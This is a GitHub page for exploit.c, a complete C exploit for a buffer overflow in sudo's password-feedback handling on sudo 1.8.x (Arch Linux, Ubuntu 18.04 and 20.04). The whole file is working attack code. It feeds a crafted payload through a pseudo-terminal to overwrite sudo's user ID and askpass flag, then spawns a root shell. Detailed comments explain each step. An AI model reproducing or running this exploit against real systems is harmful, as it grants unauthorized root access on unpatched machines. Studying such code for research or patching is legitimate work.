-
Notifications
You must be signed in to change notification settings - Fork 44
/
exploit.c
198 lines (180 loc) · 6.16 KB
/
exploit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
#define _GNU_SOURCE
#include <assert.h>
#include <err.h>
#include <fcntl.h>
#include <limits.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdlib.h>
#include <termios.h>
#include <unistd.h>
#define TGP_ASKPASS 0x4
#define SUDO_CONV_REPL_MAX 255
/* sudo 1.8.30-1 */
#define TGP_OFFSET_ARCHLINUX 548
/* sudo 1.8.21p2-3ubuntu1 (bionic 18.04) */
/* sudo 1.8.29-1ubuntu1 (focal 20.04) */
#define TGP_OFFSET_UBUNTU 624
#define KILL_OFFSET (SUDO_CONV_REPL_MAX - 1)
#define OVERFLOW_SIZE 1000
#define TGP_OFFSET TGP_OFFSET_UBUNTU
int main(int argc, char **argv) {
(void)argv;
/*
* When Sudo executes us as the askpass program, argv[1] will be the prompt,
* usually "[sudo] password for $USER: ". For simplicity, assume that any
* command-line arguments mean we've been re-executed by Sudo.
*/
if (argc > 1) {
if (unsetenv("SUDO_ASKPASS") != 0) {
warn("unsetenv(SUDO_ASKPASS)");
}
/*
* We replaced stdin with our pseudo-terminal and Sudo replaced stdout with
* a pipe, so we need to restore these to their original values. For
* simplicity, assume that stderr still refers to our original terminal.
*/
if (dup2(STDERR_FILENO, STDIN_FILENO) != STDIN_FILENO) {
warn("dup2(STDERR_FILENO, STDIN_FILENO)");
}
if (dup2(STDERR_FILENO, STDOUT_FILENO) != STDOUT_FILENO) {
warn("dup2(STDERR_FILENO, STDOUT_FILENO)");
}
execlp("sh", "sh", NULL);
err(1, "execlp(sh)");
}
/*
* Unless stdin is a terminal, Sudo will use sudo_term_kill = 0.
*
* In 1.8.25p1, this would still allow us to exploit the buffer overflow, but
* we would be forced to overwrite the signo[NSIG] array with non-zero bytes.
* This will unavoidably kill the target process as tgetpass will iterate
* signo[NSIG] and re-send the signals whose entries are non-zero.
*
* In 1.8.26, sudo_term_eof = 0 is used which would prevent us from even
* reaching the buffer overflow.
*
* To resolve this, we allocate a pseudo-terminal (pty) for stdin.
*/
int ptyfd = posix_openpt(O_NOCTTY | O_RDWR);
if (ptyfd < 0) {
err(1, "posix_openpt");
}
if (grantpt(ptyfd) != 0) {
err(1, "grantpt");
}
if (unlockpt(ptyfd) != 0) {
err(1, "unlockpt");
}
struct termios term;
if (tcgetattr(ptyfd, &term) != 0) {
err(1, "tcgetattr");
}
/*
* We are using a pseudo-terminal but we do not want the driver to preprocess
* our payload as if we were entering it into an interactive terminal.
*/
cfmakeraw(&term);
/*
* Sudo 1.8.26 and above handles the EOF character. This is, by default,
* Ctrl-D or 0x04 which is inconveniently the same as TGP_ASKPASS. We could
* avoid writing 0x04 by adding a benign flag to tgetpass_flags, but it is
* simpler to change VEOF to an unused character.
*/
term.c_cc[VEOF] = 0xAA;
if (tcsetattr(ptyfd, TCSANOW, &term) != 0) {
err(1, "tcsetattr");
}
/*
* Ensure that neither of the characters used in our payload are special
* characters that Sudo will treat differently.
*/
uint8_t sudo_term_eof = term.c_cc[VEOF];
if (sudo_term_eof == 0 || sudo_term_eof == TGP_ASKPASS) {
errx(1, "sudo_term_eof = %u", sudo_term_eof);
}
uint8_t sudo_term_erase = term.c_cc[VERASE];
if (sudo_term_erase == 0 || sudo_term_erase == TGP_ASKPASS) {
errx(1, "sudo_term_erase = %u", sudo_term_erase);
}
uint8_t sudo_term_kill = term.c_cc[VKILL];
if (sudo_term_kill == 0 || sudo_term_kill == TGP_ASKPASS) {
errx(1, "sudo_term_kill = %u", sudo_term_kill);
}
const char *devpts = ptsname(ptyfd);
if (devpts == NULL) {
err(1, "ptsname");
}
/*
* To exploit the buffer overflow, the write(fd, "\b \b", 3) syscall must
* fail, so it is necessary to open our pseudo-terminal with O_RDONLY.
*/
int ttyfd = open(devpts, O_NOCTTY | O_RDONLY);
if (ttyfd < 0) {
err(1, "open(devpts)");
}
/*
* There are two steps to our exploit:
*
* - We want to overwrite user_details.uid = 0 so Sudo does not drop
* privileges before executing the askpass program.
*
* - We want to overwrite tgetpass_flags with TGP_ASKPASS, so Sudo
* re-executes us as the askpass program.
*
* Conveniently, the buffer we are overflowing is in the BSS segment, so all
* we need to do is write TGP_ASKPASS into the least significant byte of
* tgetpass_flags, and zero out the user_details struct.
*/
uint8_t payload[OVERFLOW_SIZE + 5] = {0};
/*
* We need to write sudo_term_kill every KILL_OFFSET (or less) to reset the
* remaining length and trigger the buffer overflow.
*/
payload[KILL_OFFSET * 1] = sudo_term_kill;
payload[KILL_OFFSET * 2] = sudo_term_kill;
/*
* Use TGP_OFFSET + 2 because the 2 occurences of sudo_term_kill are not
* included in the buffer overflow.
*/
static_assert(TGP_OFFSET + 2 > KILL_OFFSET * 2, "TGP_OFFSET invalid");
static_assert(TGP_OFFSET + 2 < KILL_OFFSET * 3, "TGP_OFFSET invalid");
payload[TGP_OFFSET + 2] = TGP_ASKPASS;
payload[KILL_OFFSET * 3] = sudo_term_kill;
payload[sizeof(payload) - 2] = sudo_term_kill;
payload[sizeof(payload) - 1] = '\n';
if (write(ptyfd, payload, sizeof(payload)) != sizeof(payload)) {
err(1, "write(ptyfd, payload)");
}
/* Replace stdin with our pseudo-terminal so Sudo uses it. */
if (dup2(ttyfd, STDIN_FILENO) != STDIN_FILENO) {
err(1, "dup2(ttyfd, STDIN_FILENO)");
}
if (close(ttyfd) != 0) {
warn("close(ttyfd)");
}
/*
* On Linux, /proc/self/exe is a symbolic link to the absolute path of our
* executable. This is more robust than argv[0], which we would still need to
* expand into an absolute path.
*/
char askpass[PATH_MAX + 1];
ssize_t len = readlink("/proc/self/exe", askpass, sizeof(askpass) - 1);
if (len < 0) {
err(1, "readlink(/proc/self/exe)");
}
askpass[len] = '\0';
/*
* We set SUDO_ASKPASS, but do not provide -A to Sudo because we need to use
* the buffer overflow to zero out the user_details struct before it executes
* the askpass program.
*/
if (setenv("SUDO_ASKPASS", askpass, true) != 0) {
err(1, "setenv(SUDO_ASKPASS)");
}
/*
* Without -S, Sudo will use /dev/tty instead of our pseudo-terminal on stdin.
*/
execlp("sudo", "sudo", "-S", "", NULL);
err(1, "execlp(sudo)");
}